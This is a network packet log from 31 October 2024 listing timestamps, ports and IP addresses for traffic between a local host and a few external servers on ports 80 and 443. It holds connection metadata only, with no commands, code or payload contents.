Oct 31, 2024 23:38:10.475646973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475668907 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475678921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475706100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475717068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475725889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.475752115 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.475779057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.476553917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476572037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476582050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476593018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476608038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476613045 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.476634026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.476660967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.476916075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476929903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476939917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.476967096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.476990938 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.477153063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.477164030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.477173090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.477215052 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:12.841732025 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:12.842325926 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:12.847143888 CET	80	49800	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:12.847192049 CET	49800	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:12.847630024 CET	80	49829	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:12.847671032 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:12.878565073 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:12.883497000 CET	80	49829	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:13.250333071 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.250349045 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:13.250412941 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.251430988 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.251445055 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:13.763434887 CET	80	49829	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:13.763494968 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:13.765228033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:13.765481949 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:13.770385981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:13.770447016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:13.770603895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:13.771316051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:13.771362066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:13.775588036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:13.869259119 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:13.869337082 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.871300936 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.871304035 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:13.871640921 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:13.916018963 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.917290926 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.917320967 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:13.917380095 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.411041975 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.411137104 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.411231995 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.411397934 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.411410093 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.411433935 CET	49835	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.411441088 CET	443	49835	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.503592968 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.503609896 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.503673077 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.504245043 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:14.504261017 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:14.671207905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671276093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671474934 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671485901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671497107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671509027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671521902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671521902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671533108 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671540976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671545982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671555996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671557903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671570063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.671571016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671590090 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.671603918 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.676431894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.676469088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.676496029 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.676513910 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.676569939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.676773071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.825625896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825648069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825656891 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825687885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.825700998 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.825853109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825894117 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.825932026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825943947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.825968981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.825978994 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826035023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826046944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826075077 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826082945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826647997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826683998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826700926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826704979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826714039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826720953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826725960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.826736927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826747894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.826765060 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.827394962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.827433109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.827506065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.827522039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.827533960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.827542067 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.827544928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.827563047 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.827588081 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.828277111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.828288078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.828299046 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.828320026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.828344107 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.828578949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.828588963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.828617096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.828627110 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.831856012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.831906080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.831907988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.831974030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980302095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980381966 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980386972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980436087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980731010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980777025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980870962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980886936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980911016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.980915070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980932951 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.980952024 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981267929 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981283903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981302023 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981312990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981326103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981338024 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981349945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981353045 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981375933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.981375933 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981395006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981565952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.981981039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982001066 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982017040 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982027054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982033968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982045889 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982060909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982075930 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982382059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982397079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982413054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982430935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982441902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982464075 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982513905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982537031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982553005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982561111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982573986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.982575893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982594967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.982635975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983339071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983392000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983403921 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983419895 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983452082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983464956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983484030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983500004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983515024 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983529091 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983531952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.983546972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.983567953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.984426022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984441996 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984457970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984472990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.984472990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984489918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984499931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.984505892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984523058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.984533072 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.984558105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.984582901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.985299110 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985315084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985331059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985352039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.985363960 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.985435009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985450029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985466003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:14.985480070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:14.985510111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.098932981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.099009037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.099090099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.099138021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.126142025 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.126272917 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.128087044 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.128092051 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.128329039 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.132725000 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.132755041 CET	49841	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:15.132802010 CET	443	49841	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:15.134485960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134540081 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134555101 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134565115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134583950 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134601116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134639025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134654999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134669065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134682894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134695053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134715080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134779930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134819031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134849072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134865046 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.134888887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.134901047 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135024071 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135054111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135062933 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135091066 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135138035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135152102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135169029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135173082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135185003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135194063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135206938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135222912 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135478020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135612965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135632038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135648012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135658979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135667086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135682106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135689020 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135699987 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135708094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135731936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135760069 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135932922 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135974884 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.135977983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.135998011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.136019945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.136032104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.136194944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.136210918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.136226892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.136238098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.136255026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.136271954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137028933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137044907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137058973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137075901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137083054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137096882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137115002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137119055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137135983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137145996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137151003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137167931 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137177944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137181997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137193918 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137212992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137217999 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137228012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137236118 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137243986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137255907 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137260914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137264967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137275934 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137279034 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137300968 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137317896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137346983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137401104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137415886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137458086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137476921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137520075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137536049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137557030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137572050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.137582064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.137608051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138267994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138283014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138298035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138313055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138334990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138336897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138341904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138351917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138365984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138372898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138381004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138397932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138401031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138412952 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.138428926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138432980 CET	80	49837	185.215.113.16	192.168.2.4
